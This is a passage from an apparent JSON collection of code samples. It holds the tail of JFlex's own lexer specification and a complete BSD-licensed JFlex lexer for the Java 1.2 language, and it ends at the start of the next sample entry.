yytext().substring(6).trim(); }\n  \"%integer\"|\"%int\"           { isInteger = true;  }\n  \"%intwrap\"                  { isIntWrap = true;  }\n  \"%yyeof\"                    { isYYEOF = true;  }\n  \"%notunix\"                  { notUnix = true;  }\n  \"%7bit\"                     { isASCII = true; return symbol(ASCII); }\n  \"%full\"|\"%8bit\"             { return symbol(FULL); }\n  \"%16bit\"                    { populateDefaultVersionUnicodeProperties();\n                                return symbol(UNICODE);\n                              }\n  \"%unicode\"({WSP}+{DottedVersion})? { String v = yytext().substring(8).trim();\n                                       if (v.length() == 0) {\n                                         populateDefaultVersionUnicodeProperties();\n                                       } else {\n                                         try {\n                                           unicodeProperties = new UnicodeProperties(v);\n                                         } catch (UnicodeProperties.UnsupportedUnicodeVersionException e) {\n                                           throw new ScannerException\n                                             (file, ErrorMessages.UNSUPPORTED_UNICODE_VERSION, yyline);\n                                         }\n                                         charClasses.init\n                                           (Options.jlex ? 127 : unicodeProperties.getMaximumCodePoint(), this);\n                                       }\n                                       return symbol(UNICODE);\n                                     }\n\n  \"%caseless\"|\"%ignorecase\"   { caseless = true; }\n  \"%implements\"{WSP}+.*       { isImplementing = concExc(isImplementing, yytext().substring(12).trim());  }\n  \"%extends\"{WSP}+{QClassT}{WSP}* { isExtending = yytext().substring(9).trim(); }\n  \"%public\"                   { isPublic = true; }\n  \"%apiprivate\"               { visibility = \"private\"; Skeleton.makePrivate(); }\n  \"%final\"                    { isFinal = true; }\n  \"%abstract\"                 { isAbstract = true; }\n  \"%debug\"                    { debugOption = true; }\n  \"%standalone\"               { standalone = true; isInteger = true; }\n  \"%pack\"                     { /* no-op - this is the only generation method */ }\n  \"%include\" {WSP}+ .*        { includeFile(yytext().substring(9).trim()); }\n  \"%buffer\" {WSP}+ {Number} {WSP}*   { bufferSize = Integer.parseInt(yytext().substring(8).trim()); }\n  \"%buffer\" {WSP}+ {NNL}*     { throw new ScannerException(file,ErrorMessages.NO_BUFFER_SIZE, yyline); }\n  \"%initthrow\" {WSP}+ {QUIL} {WSP}* { initThrow = concExc(initThrow,yytext().substring(11).trim()); }\n  \"%initthrow\" {WSP}+ {NNL}*  { throw new ScannerException(file,ErrorMessages.QUIL_INITTHROW, yyline); }\n  \"%eofthrow\"  {WSP}+ {QUIL} {WSP}*  { eofThrow = concExc(eofThrow,yytext().substring(10).trim()); }\n  \"%eofthrow\"  {WSP}+ {NNL}*  { throw new ScannerException(file,ErrorMessages.QUIL_EOFTHROW, yyline); }\n  \"%yylexthrow\"{WSP}+ {QUIL} {WSP}*  { lexThrow = concExc(lexThrow,yytext().substring(12).trim()); }\n  \"%throws\"    {WSP}+ {QUIL} {WSP}*  { lexThrow = concExc(lexThrow,yytext().substring(8).trim()); }\n  \"%yylexthrow\"{WSP}+ {NNL}*  { throw new ScannerException(file,ErrorMessages.QUIL_YYLEXTHROW, yyline); }\n  \"%throws\"    {WSP}+ {NNL}*  { throw new ScannerException(file,ErrorMessages.QUIL_THROW, yyline); }\n  \"%scanerror\" {WSP}+ {QualIdent} {WSP}* { scanErrorException = yytext().substring(11).trim(); }\n  \"%scanerror\" {WSP}+ {NNL}*  { throw new ScannerException(file,ErrorMessages.QUIL_SCANERROR, yyline); }\n// TODO: In the version of JFlex after 1.6, the %inputstreamctor directive will become a no-op: the InputStream ctor will never be emitted.  \n  \"%inputstreamctor\"({WSP}+\"true\")? { emitInputStreamCtor = true; }  \n  \"%inputstreamctor\"{WSP}+\"false\"   { emitInputStreamCtor = false; }\n\n  {Ident}                     { return symbol(IDENT, yytext()); }\n  \"=\"{WSP}*                   { if (null == unicodeProperties && ! isASCII) {\n                                  populateDefaultVersionUnicodeProperties();\n                                }\n                                yybegin(REGEXP); \n                                return symbol(EQUALS); \n                              }\n\n  \"/*\"                        { nextState = MACROS; yybegin(COMMENT); }\n\n  {EndOfLineComment}          { }\n\n  ^\"%%\" {NNL}*                { if (null == unicodeProperties && ! isASCII) {\n                                  populateDefaultVersionUnicodeProperties();\n                                }\n                                macroDefinition = false; \n                                yybegin(REGEXPSTART);\n                                return symbol(DELIMITER); \n                              }\n  \"%\"{Ident}                  { throw new ScannerException(file,ErrorMessages.UNKNOWN_OPTION, yyline, yycolumn); }\n  \"%\"                         { throw new ScannerException(file,ErrorMessages.UNKNOWN_OPTION, yyline, yycolumn); }\n  ^{WSP}+\"%\"                  { Out.warning(ErrorMessages.NOT_AT_BOL, yyline); yypushback(1); }\n\n  {WSP}+                      { }\n  {NL}+                       { }\n  <<EOF>>                     { if ( yymoreStreams() ) {\n                                  file = (File) files.pop();\n                                  yypopStream();\n                                }\n                                else\n                                  throw new ScannerException(file,ErrorMessages.EOF_IN_MACROS);\n                              }\n}\n\n<CTOR_ARG> {\n  {Ident} {WSP}*   { yybegin(MACROS); ctorArgs.add(yytext().trim()); }\n  [^]              { throw new ScannerException(file,ErrorMessages.CTOR_ARG,yyline,yycolumn); }\n}\n\n<REGEXPSTART> {\n  ^ {WSP}* \"%include\" {WSP}+ .*  { includeFile(yytext().trim().substring(9).trim()); }\n  {WSP}* \"/*\"                    { nextState = REGEXPSTART; yybegin(COMMENT); }\n  {WSP}* \"<\"                     { yybegin(STATES); return symbol_countUpdate(LESSTHAN, null); }\n  {WSP}* \"}\"                     { return symbol_countUpdate(RBRACE, null); }\n  {WSP}* \"//\" {NNL}*             { }\n  {WSP}* \"<<EOF>>\" {WSPNL}* \"{\"  { actionText.setLength(0); yybegin(JAVA_CODE);\n                                   Symbol s = symbol_countUpdate(EOFRULE, null);\n                                   action_line = s.left+1;\n                                   return s;\n                                 }\n  ^ {WSP}* {NWSPNL}              { yypushback(yylength()); yybegin(REGEXP); }\n  {WSP} | {NL}                   { }\n}\n\n<STATES> {\n  {Ident}                     { return symbol(IDENT, yytext()); }\n  \",\"                         { return symbol(COMMA); }\n  {WSPNL}+                    { }\n\n  // \"{\" will be caught in REGEXP\n  \">\"{WSPNL}*                 { yybegin(REGEXP); return symbol(MORETHAN); }\n\n  <<EOF>>                     { throw new ScannerException(file,ErrorMessages.EOF_IN_STATES); }\n}\n\n\n<REGEXP> {\n  \"<<EOF>>\" {WSPNL}+ \"{\"  { actionText.setLength(0); yybegin(JAVA_CODE); action_line = yyline+1; return symbol(EOFRULE); }\n  \"<<EOF>>\"               { throw new ScannerException(file,ErrorMessages.EOF_WO_ACTION); }\n\n  {WSPNL}*\"|\"{WSP}*$      { if (macroDefinition) {\n                              yybegin(EATWSPNL);\n                              return symbol(BAR);\n                            }\n                            else {\n                              yybegin(REGEXPSTART);\n                              return symbol(NOACTION);\n                            }\n                          }\n\n  // stategroup\n  \"{\"            { yybegin(REGEXPSTART); return symbol(LBRACE); }\n\n  {WSPNL}*\"|\"    { return symbol(BAR); }\n\n  {WSPNL}*\\\"     { string.setLength(0); nextState = REGEXP; yybegin(STRING_CONTENT); }\n  {WSPNL}*\"\\\\u{\" { string.setLength(0); yybegin(REGEXP_CODEPOINT_SEQUENCE); }\n  {WSPNL}*\"!\"    { return symbol(BANG); }\n  {WSPNL}*\"~\"    { return symbol(TILDE); }\n  {WSPNL}*\"(\"    { return symbol(OPENBRACKET); }\n  {WSPNL}*\")\"    { return symbol(CLOSEBRACKET); }\n  {WSPNL}*\"*\"    { return symbol(STAR); }\n  {WSPNL}*\"+\"    { return symbol(PLUS); }\n  {WSPNL}*\"?\"    { return symbol(QUESTION); }\n  {WSPNL}*\"$\"    { return symbol(DOLLAR); }\n  {WSPNL}*\"^\"    { bolUsed = true; return symbol(HAT); }\n  {WSPNL}*\".\"    { return symbol(POINT); }\n  {WSPNL}*\"\\\\R\"  { return symbol(NEWLINE); }\n  {WSPNL}*\"[\"    { yybegin(CHARCLASS); return symbol(OPENCLASS); }\n  {WSPNL}*\"/\"    { return symbol(LOOKAHEAD); }\n  \n  {WSPNL}* \"{\" {WSP}* {Ident} {WSP}* \"}\" { return symbol_countUpdate(MACROUSE, makeMacroIdent()); }\n  {WSPNL}* \"{\" {WSP}* {Number}   { yybegin(REPEATEXP); \n                                   return symbol(REPEAT, \n                                                 new Integer(yytext().trim().substring(1).trim())); \n                                 }\n\n  {WSPNL}+ \"{\"    { actionText.setLength(0); yybegin(JAVA_CODE); action_line = yyline+1; return symbol(REGEXPEND); }\n  {NL}            { if (macroDefinition) { yybegin(MACROS); } return symbol(REGEXPEND); }\n\n  {WSPNL}*\"/*\"    { nextState = REGEXP; yybegin(COMMENT); }\n\n  {WSPNL}*\"//\"{NNL}*  { }\n\n  {WSP}+          { }\n\n  <CHARCLASS> {\n    {WSPNL}*\"[:jletter:]\"      { return symbol(JLETTERCLASS); }\n    {WSPNL}*\"[:jletterdigit:]\" { return symbol(JLETTERDIGITCLASS); }\n    {WSPNL}*\"[:letter:]\"       { return symbol(LETTERCLASS); }\n    {WSPNL}*\"[:uppercase:]\"    { return symbol(UPPERCLASS); }\n    {WSPNL}*\"[:lowercase:]\"    { return symbol(LOWERCLASS); }\n    {WSPNL}*\"[:digit:]\"        { return symbol(DIGITCLASS); }\n    {WSPNL}*\"\\\\d\"              { return symbol(DIGITCLASS); }\n    {WSPNL}*\"\\\\D\"              { return symbol(DIGITCLASSNOT); }\n    {WSPNL}*\"\\\\s\"              { return symbol(WHITESPACECLASS); }\n    {WSPNL}*\"\\\\S\"              { return symbol(WHITESPACECLASSNOT); }\n    {WSPNL}*\"\\\\w\"              { return symbol(WORDCLASS); }\n    {WSPNL}*\"\\\\W\"              { return symbol(WORDCLASSNOT); }\n    {WSPNL}*\"\\\\p{\"[^}]*\"}\"     { String trimmedText = yytext().trim();\n                                 String propertyValue = trimmedText.substring(3,trimmedText.length()-1);\n                                 IntCharSet set = unicodeProperties.getIntCharSet(propertyValue);\n                                 if (null == set) {\n                                   throw new ScannerException(file,ErrorMessages.INVALID_UNICODE_PROPERTY, yyline, yycolumn + 3);\n                                 }\n                                 return symbol(UNIPROPCCLASS, set);\n                               }\n    {WSPNL}*\"\\\\P{\"[^}]*\"}\"     { String trimmedText = yytext().trim();\n                                 String propertyValue = trimmedText.substring(3,trimmedText.length()-1);\n                                 IntCharSet set = unicodeProperties.getIntCharSet(propertyValue);\n                                 if (null == set) {\n                                   throw new ScannerException(file,ErrorMessages.INVALID_UNICODE_PROPERTY, yyline, yycolumn + 3);\n                                 }\n                                 return symbol(UNIPROPCCLASSNOT, set);\n                               }\n  }\n\n  . { return symbol(CHAR, yytext().codePointAt(0)); }\n}\n\n<EATWSPNL> {WSPNL}+  { yybegin(REGEXP); }\n\n\n<REPEATEXP> {\n  \"}\"          { yybegin(REGEXP); return symbol(RBRACE); }\n  \",\" {WSP}* {Number}  { return symbol(REPEAT, new Integer(yytext().substring(1).trim())); }\n  {WSP}+       { }\n\n  <<EOF>>                 { throw new ScannerException(file,ErrorMessages.EOF_IN_REGEXP); }\n}\n\n<CHARCLASS> {\n  \"{\"{Ident}\"}\" { return symbol(MACROUSE, yytext().substring(1,yylength()-1)); }\n  \"[\"     { balance++; return symbol(OPENCLASS); }\n  \"]\"     { if (balance > 0) balance--; else yybegin(REGEXP); return symbol(CLOSECLASS); }\n  \"^\"     { return symbol(HAT); }\n  \"-\"     { return symbol(DASH); }\n  \"--\"    { return symbol(DIFFERENCE); }\n  \"&&\"    { return symbol(INTERSECTION); }\n  \"||\"    { /* union is the default operation - '||' can be ignored */ }\n  \"~~\"    { return symbol(SYMMETRICDIFFERENCE); }\n  \"\\\\u{\"  { yybegin(CHARCLASS_CODEPOINT); }\n\n  // this is a hack to keep JLex compatibilty with char class\n  // expressions like [+-]\n  \"-]\"    { yypushback(1); yycolumn--; return symbol(CHAR, (int)'-'); }\n\n  \\\"      { string.setLength(0); nextState = CHARCLASS; yybegin(STRING_CONTENT); }\n\n  .       { return symbol(CHAR, yytext().codePointAt(0)); }\n\n  \\n      { throw new ScannerException(file,ErrorMessages.EOL_IN_CHARCLASS,yyline,yycolumn); }\n\n  <<EOF>> { throw new ScannerException(file,ErrorMessages.EOF_IN_REGEXP); }\n}\n\n<STRING_CONTENT> {\n  \\\"       { yybegin(nextState); return symbol(STRING, string.toString()); }\n  \\\\\\\"     { string.append('\\\"'); }\n  [^\\\"\\\\\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085]+ { string.append(yytext()); }\n\n  {NL}     { throw new ScannerException(file,ErrorMessages.UNTERMINATED_STR, yyline, yycolumn); }\n\n  {HexNumber} { string.append( (char) Integer.parseInt(yytext().substring(2,yylength()), 16)); }\n  {OctNumber} { string.append( (char) Integer.parseInt(yytext().substring(1,yylength()), 8)); }\n  {Unicode4}  { string.append( (char) Integer.parseInt(yytext().substring(2,yylength()), 16)); }\n  {Unicode6}  { int codePoint = Integer.parseInt(yytext().substring(2,yylength()), 16);\n                if (codePoint <= unicodeProperties.getMaximumCodePoint()) {\n                  string.append(Character.toChars(codePoint));\n                } else {\n                  throw new ScannerException(file,ErrorMessages.CODEPOINT_OUT_OF_RANGE, yyline, yycolumn+2);\n                }\n              }\n  \n  \"\\\\u{\"      { yybegin(STRING_CODEPOINT_SEQUENCE); }\n\n  \\\\b { string.append('\\b'); }\n  \\\\n { string.append('\\n'); }\n  \\\\t { string.append('\\t'); }\n  \\\\f { string.append('\\f'); }\n  \\\\r { string.append('\\r'); }\n\n  \\\\. { string.append(yytext().substring(1, yytext().offsetByCodePoints(1, 1))); }\n\n  <<EOF>>     { throw new ScannerException(file,ErrorMessages.EOF_IN_STRING); }\n}\n\n\n<REGEXP, CHARCLASS> {\n  {HexNumber} { return symbol(CHAR, Integer.parseInt(yytext().substring(2,yylength()), 16)); }\n  {OctNumber} { return symbol(CHAR, Integer.parseInt(yytext().substring(1,yylength()), 8)); }\n  {Unicode4}  { return symbol(CHAR, Integer.parseInt(yytext().substring(2,yylength()), 16)); }\n  {Unicode6}  { int codePoint = Integer.parseInt(yytext().substring(2,yylength()), 16);\n                if (codePoint <= unicodeProperties.getMaximumCodePoint()) {\n                  return symbol(CHAR, codePoint);\n                } else {\n                  throw new ScannerException(file,ErrorMessages.CODEPOINT_OUT_OF_RANGE, yyline, yycolumn+2);\n                }\n              }\n\n  \\\\b { return symbol(CHAR, (int)'\\b'); }\n  \\\\n { return symbol(CHAR, (int)'\\n'); }\n  \\\\t { return symbol(CHAR, (int)'\\t'); }\n  \\\\f { return symbol(CHAR, (int)'\\f'); }\n  \\\\r { return symbol(CHAR, (int)'\\r'); }\n\n  \\\\. { return symbol(CHAR, yytext().codePointAt(1)); }\n}\n\n\n<JAVA_CODE> {\n  \"{\"        { balance++; actionText.append('{'); }\n  \"}\"        { if (balance > 0) {\n                 balance--;\n                 actionText.append('}');\n               }\n               else {\n                 yybegin(REGEXPSTART);\n                 Action a = new Action(actionText.toString(), action_line);\n                 actions.add(a);\n                 return symbol(ACTION, a);\n               }\n             }\n\n  {JavaCode}     { actionText.append(yytext()); }\n\n  <<EOF>>     { throw new ScannerException(file,ErrorMessages.EOF_IN_ACTION, action_line-1); }\n}\n\n<COMMENT> {\n\n  \"/\"+ \"*\"  { commentbalance++; }\n  \"*\"+ \"/\"  { if (commentbalance > 0)\n                commentbalance--;\n              else\n                yybegin(nextState);\n            }\n\n  {JFlexComment} { /* ignore */ }\n\n  <<EOF>>     { throw new ScannerException(file,ErrorMessages.EOF_IN_COMMENT); }\n}\n\n<REGEXP_CODEPOINT_SEQUENCE> {\n  \"}\"             { yybegin(REGEXP); return symbol(STRING, string.toString()); }\n  {HexDigit}{1,6} { int codePoint = Integer.parseInt(yytext(), 16);\n                    if (codePoint <= unicodeProperties.getMaximumCodePoint()) {\n                      string.append(Character.toChars(codePoint));\n                    } else {\n                      throw new ScannerException(file,ErrorMessages.CODEPOINT_OUT_OF_RANGE, yyline, yycolumn);\n                    }\n                  }\n  {WSPNL}+        { }\n  <<EOF>>         { throw new ScannerException(file,ErrorMessages.EOF_IN_REGEXP); }\n}\n\n<STRING_CODEPOINT_SEQUENCE> { // Specialized form: newlines disallowed, and doesn't return a symbol\n  \"}\"             { yybegin(STRING_CONTENT); }\n  {HexDigit}{1,6} { int codePoint = Integer.parseInt(yytext(), 16);\n                    if (codePoint <= unicodeProperties.getMaximumCodePoint()) {\n                      string.append(Character.toChars(codePoint));\n                    } else {\n                      throw new ScannerException(file, ErrorMessages.CODEPOINT_OUT_OF_RANGE, yyline, yycolumn);\n                    }\n                  }\n  {NL}            { throw new ScannerException(file,ErrorMessages.UNTERMINATED_STR, yyline, yycolumn); }\n  {WSP}+          { }\n  <<EOF>>         { throw new ScannerException(file,ErrorMessages.EOF_IN_STRING); }\n}\n\n<CHARCLASS_CODEPOINT> { // Specialized form: only one codepoint allowed, no whitespace allowed\n  {HexDigit}{1,6} \"}\" { int codePoint = Integer.parseInt(yytext().substring(0, yylength() - 1), 16);\n                        if (codePoint <= unicodeProperties.getMaximumCodePoint()) {\n                          yybegin(CHARCLASS);\n                          return symbol(CHAR, codePoint);\n                        } else {\n                          throw new ScannerException(file, ErrorMessages.CODEPOINT_OUT_OF_RANGE, yyline, yycolumn);\n                        }\n                      }\n  <<EOF>>             { throw new ScannerException(file,ErrorMessages.EOF_IN_REGEXP); }\n}\n\n.  { throw new ScannerException(file,ErrorMessages.UNEXPECTED_CHAR, yyline, yycolumn); }\n\\R { throw new ScannerException(file,ErrorMessages.UNEXPECTED_NL, yyline, yycolumn); }\n\n<<EOF>>  { if ( yymoreStreams() ) {\n             file = (File) files.pop();\n             yypopStream();\n           }\n           else {\n             return symbol(EOF);\n           }\n         }\n"
  },
  {
    "path": "samples/JFlex/java.jflex",
    "content": "/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n * Copyright (C) 1998-2015  Gerwin Klein <lsf@jflex.de>                    *\n * All rights reserved.                                                    *\n *                                                                         *\n * License: BSD                                                            *\n *                                                                         *\n * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */\n\n/* Java 1.2 language lexer specification */\n\n/* Use together with unicode.flex for Unicode preprocesssing */\n/* and java12.cup for a Java 1.2 parser                      */\n\n/* Note that this lexer specification is not tuned for speed.\n   It is in fact quite slow on integer and floating point literals, \n   because the input is read twice and the methods used to parse\n   the numbers are not very fast. \n   For a production quality application (e.g. a Java compiler) \n   this could be optimized */\n\n\nimport java_cup.runtime.*;\n\n%%\n\n%public\n%class Scanner\n%implements sym\n\n%unicode\n\n%line\n%column\n\n%cup\n%cupdebug\n\n%{\n  StringBuilder string = new StringBuilder();\n  \n  private Symbol symbol(int type) {\n    return new JavaSymbol(type, yyline+1, yycolumn+1);\n  }\n\n  private Symbol symbol(int type, Object value) {\n    return new JavaSymbol(type, yyline+1, yycolumn+1, value);\n  }\n\n  /** \n   * assumes correct representation of a long value for \n   * specified radix in scanner buffer from <code>start</code> \n   * to <code>end</code> \n   */\n  private long parseLong(int start, int end, int radix) {\n    long result = 0;\n    long digit;\n\n    for (int i = start; i < end; i++) {\n      digit  = Character.digit(yycharat(i),radix);\n      result*= radix;\n      result+= digit;\n    }\n\n    return result;\n  }\n%}\n\n/* main character classes */\nLineTerminator = \\r|\\n|\\r\\n\nInputCharacter = [^\\r\\n]\n\nWhiteSpace = {LineTerminator} | [ \\t\\f]\n\n/* comments */\nComment = {TraditionalComment} | {EndOfLineComment} | \n          {DocumentationComment}\n\nTraditionalComment = \"/*\" [^*] ~\"*/\" | \"/*\" \"*\"+ \"/\"\nEndOfLineComment = \"//\" {InputCharacter}* {LineTerminator}?\nDocumentationComment = \"/*\" \"*\"+ [^/*] ~\"*/\"\n\n/* identifiers */\nIdentifier = [:jletter:][:jletterdigit:]*\n\n/* integer literals */\nDecIntegerLiteral = 0 | [1-9][0-9]*\nDecLongLiteral    = {DecIntegerLiteral} [lL]\n\nHexIntegerLiteral = 0 [xX] 0* {HexDigit} {1,8}\nHexLongLiteral    = 0 [xX] 0* {HexDigit} {1,16} [lL]\nHexDigit          = [0-9a-fA-F]\n\nOctIntegerLiteral = 0+ [1-3]? {OctDigit} {1,15}\nOctLongLiteral    = 0+ 1? {OctDigit} {1,21} [lL]\nOctDigit          = [0-7]\n    \n/* floating point literals */        \nFloatLiteral  = ({FLit1}|{FLit2}|{FLit3}) {Exponent}? [fF]\nDoubleLiteral = ({FLit1}|{FLit2}|{FLit3}) {Exponent}?\n\nFLit1    = [0-9]+ \\. [0-9]* \nFLit2    = \\. [0-9]+ \nFLit3    = [0-9]+ \nExponent = [eE] [+-]? [0-9]+\n\n/* string and character literals */\nStringCharacter = [^\\r\\n\\\"\\\\]\nSingleCharacter = [^\\r\\n\\'\\\\]\n\n%state STRING, CHARLITERAL\n\n%%\n\n<YYINITIAL> {\n\n  /* keywords */\n  \"abstract\"                     { return symbol(ABSTRACT); }\n  \"boolean\"                      { return symbol(BOOLEAN); }\n  \"break\"                        { return symbol(BREAK); }\n  \"byte\"                         { return symbol(BYTE); }\n  \"case\"                         { return symbol(CASE); }\n  \"catch\"                        { return symbol(CATCH); }\n  \"char\"                         { return symbol(CHAR); }\n  \"class\"                        { return symbol(CLASS); }\n  \"const\"                        { return symbol(CONST); }\n  \"continue\"                     { return symbol(CONTINUE); }\n  \"do\"                           { return symbol(DO); }\n  \"double\"                       { return symbol(DOUBLE); }\n  \"else\"                         { return symbol(ELSE); }\n  \"extends\"                      { return symbol(EXTENDS); }\n  \"final\"                        { return symbol(FINAL); }\n  \"finally\"                      { return symbol(FINALLY); }\n  \"float\"                        { return symbol(FLOAT); }\n  \"for\"                          { return symbol(FOR); }\n  \"default\"                      { return symbol(DEFAULT); }\n  \"implements\"                   { return symbol(IMPLEMENTS); }\n  \"import\"                       { return symbol(IMPORT); }\n  \"instanceof\"                   { return symbol(INSTANCEOF); }\n  \"int\"                          { return symbol(INT); }\n  \"interface\"                    { return symbol(INTERFACE); }\n  \"long\"                         { return symbol(LONG); }\n  \"native\"                       { return symbol(NATIVE); }\n  \"new\"                          { return symbol(NEW); }\n  \"goto\"                         { return symbol(GOTO); }\n  \"if\"                           { return symbol(IF); }\n  \"public\"                       { return symbol(PUBLIC); }\n  \"short\"                        { return symbol(SHORT); }\n  \"super\"                        { return symbol(SUPER); }\n  \"switch\"                       { return symbol(SWITCH); }\n  \"synchronized\"                 { return symbol(SYNCHRONIZED); }\n  \"package\"                      { return symbol(PACKAGE); }\n  \"private\"                      { return symbol(PRIVATE); }\n  \"protected\"                    { return symbol(PROTECTED); }\n  \"transient\"                    { return symbol(TRANSIENT); }\n  \"return\"                       { return symbol(RETURN); }\n  \"void\"                         { return symbol(VOID); }\n  \"static\"                       { return symbol(STATIC); }\n  \"while\"                        { return symbol(WHILE); }\n  \"this\"                         { return symbol(THIS); }\n  \"throw\"                        { return symbol(THROW); }\n  \"throws\"                       { return symbol(THROWS); }\n  \"try\"                          { return symbol(TRY); }\n  \"volatile\"                     { return symbol(VOLATILE); }\n  \"strictfp\"                     { return symbol(STRICTFP); }\n  \n  /* boolean literals */\n  \"true\"                         { return symbol(BOOLEAN_LITERAL, true); }\n  \"false\"                        { return symbol(BOOLEAN_LITERAL, false); }\n  \n  /* null literal */\n  \"null\"                         { return symbol(NULL_LITERAL); }\n  \n  \n  /* separators */\n  \"(\"                            { return symbol(LPAREN); }\n  \")\"                            { return symbol(RPAREN); }\n  \"{\"                            { return symbol(LBRACE); }\n  \"}\"                            { return symbol(RBRACE); }\n  \"[\"                            { return symbol(LBRACK); }\n  \"]\"                            { return symbol(RBRACK); }\n  \";\"                            { return symbol(SEMICOLON); }\n  \",\"                            { return symbol(COMMA); }\n  \".\"                            { return symbol(DOT); }\n  \n  /* operators */\n  \"=\"                            { return symbol(EQ); }\n  \">\"                            { return symbol(GT); }\n  \"<\"                            { return symbol(LT); }\n  \"!\"                            { return symbol(NOT); }\n  \"~\"                            { return symbol(COMP); }\n  \"?\"                            { return symbol(QUESTION); }\n  \":\"                            { return symbol(COLON); }\n  \"==\"                           { return symbol(EQEQ); }\n  \"<=\"                           { return symbol(LTEQ); }\n  \">=\"                           { return symbol(GTEQ); }\n  \"!=\"                           { return symbol(NOTEQ); }\n  \"&&\"                           { return symbol(ANDAND); }\n  \"||\"                           { return symbol(OROR); }\n  \"++\"                           { return symbol(PLUSPLUS); }\n  \"--\"                           { return symbol(MINUSMINUS); }\n  \"+\"                            { return symbol(PLUS); }\n  \"-\"                            { return symbol(MINUS); }\n  \"*\"                            { return symbol(MULT); }\n  \"/\"                            { return symbol(DIV); }\n  \"&\"                            { return symbol(AND); }\n  \"|\"                            { return symbol(OR); }\n  \"^\"                            { return symbol(XOR); }\n  \"%\"                            { return symbol(MOD); }\n  \"<<\"                           { return symbol(LSHIFT); }\n  \">>\"                           { return symbol(RSHIFT); }\n  \">>>\"                          { return symbol(URSHIFT); }\n  \"+=\"                           { return symbol(PLUSEQ); }\n  \"-=\"                           { return symbol(MINUSEQ); }\n  \"*=\"                           { return symbol(MULTEQ); }\n  \"/=\"                           { return symbol(DIVEQ); }\n  \"&=\"                           { return symbol(ANDEQ); }\n  \"|=\"                           { return symbol(OREQ); }\n  \"^=\"                           { return symbol(XOREQ); }\n  \"%=\"                           { return symbol(MODEQ); }\n  \"<<=\"                          { return symbol(LSHIFTEQ); }\n  \">>=\"                          { return symbol(RSHIFTEQ); }\n  \">>>=\"                         { return symbol(URSHIFTEQ); }\n  \n  /* string literal */\n  \\\"                             { yybegin(STRING); string.setLength(0); }\n\n  /* character literal */\n  \\'                             { yybegin(CHARLITERAL); }\n\n  /* numeric literals */\n\n  /* This is matched together with the minus, because the number is too big to \n     be represented by a positive integer. */\n  \"-2147483648\"                  { return symbol(INTEGER_LITERAL, new Integer(Integer.MIN_VALUE)); }\n  \n  {DecIntegerLiteral}            { return symbol(INTEGER_LITERAL, new Integer(yytext())); }\n  {DecLongLiteral}               { return symbol(INTEGER_LITERAL, new Long(yytext().substring(0,yylength()-1))); }\n  \n  {HexIntegerLiteral}            { return symbol(INTEGER_LITERAL, new Integer((int) parseLong(2, yylength(), 16))); }\n  {HexLongLiteral}               { return symbol(INTEGER_LITERAL, new Long(parseLong(2, yylength()-1, 16))); }\n \n  {OctIntegerLiteral}            { return symbol(INTEGER_LITERAL, new Integer((int) parseLong(0, yylength(), 8))); }  \n  {OctLongLiteral}               { return symbol(INTEGER_LITERAL, new Long(parseLong(0, yylength()-1, 8))); }\n  \n  {FloatLiteral}                 { return symbol(FLOATING_POINT_LITERAL, new Float(yytext().substring(0,yylength()-1))); }\n  {DoubleLiteral}                { return symbol(FLOATING_POINT_LITERAL, new Double(yytext())); }\n  {DoubleLiteral}[dD]            { return symbol(FLOATING_POINT_LITERAL, new Double(yytext().substring(0,yylength()-1))); }\n  \n  /* comments */\n  {Comment}                      { /* ignore */ }\n\n  /* whitespace */\n  {WhiteSpace}                   { /* ignore */ }\n\n  /* identifiers */ \n  {Identifier}                   { return symbol(IDENTIFIER, yytext()); }  \n}\n\n<STRING> {\n  \\\"                             { yybegin(YYINITIAL); return symbol(STRING_LITERAL, string.toString()); }\n  \n  {StringCharacter}+             { string.append( yytext() ); }\n  \n  /* escape sequences */\n  \"\\\\b\"                          { string.append( '\\b' ); }\n  \"\\\\t\"                          { string.append( '\\t' ); }\n  \"\\\\n\"                          { string.append( '\\n' ); }\n  \"\\\\f\"                          { string.append( '\\f' ); }\n  \"\\\\r\"                          { string.append( '\\r' ); }\n  \"\\\\\\\"\"                         { string.append( '\\\"' ); }\n  \"\\\\'\"                          { string.append( '\\'' ); }\n  \"\\\\\\\\\"                         { string.append( '\\\\' ); }\n  \\\\[0-3]?{OctDigit}?{OctDigit}  { char val = (char) Integer.parseInt(yytext().substring(1),8);\n                        \t\t\t\t   string.append( val ); }\n  \n  /* error cases */\n  \\\\.                            { throw new RuntimeException(\"Illegal escape sequence \\\"\"+yytext()+\"\\\"\"); }\n  {LineTerminator}               { throw new RuntimeException(\"Unterminated string at end of line\"); }\n}\n\n<CHARLITERAL> {\n  {SingleCharacter}\\'            { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, yytext().charAt(0)); }\n  \n  /* escape sequences */\n  \"\\\\b\"\\'                        { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\b');}\n  \"\\\\t\"\\'                        { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\t');}\n  \"\\\\n\"\\'                        { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\n');}\n  \"\\\\f\"\\'                        { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\f');}\n  \"\\\\r\"\\'                        { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\r');}\n  \"\\\\\\\"\"\\'                       { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\\"');}\n  \"\\\\'\"\\'                        { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\'');}\n  \"\\\\\\\\\"\\'                       { yybegin(YYINITIAL); return symbol(CHARACTER_LITERAL, '\\\\'); }\n  \\\\[0-3]?{OctDigit}?{OctDigit}\\' { yybegin(YYINITIAL); \n\t\t\t                              int val = Integer.parseInt(yytext().substring(1,yylength()-1),8);\n\t\t\t                            return symbol(CHARACTER_LITERAL, (char)val); }\n  \n  /* error cases */\n  \\\\.                            { throw new RuntimeException(\"Illegal escape sequence \\\"\"+yytext()+\"\\\"\"); }\n  {LineTerminator}               { throw new RuntimeException(\"Unterminated character literal at end of line\"); }\n}\n\n/* error fallback */\n[^]                              { throw new RuntimeException(\"Illegal character \\\"\"+yytext()+\n                                                              \"\\\" at line \"+yyline+\", column \"+yycolumn); }\n<<EOF>>                          { return symbol(EOF); }"
  },
  {
    "path": "samples/JSON/2ea73365-b6f1-4bd1-a454-d57a67e50684.yy",
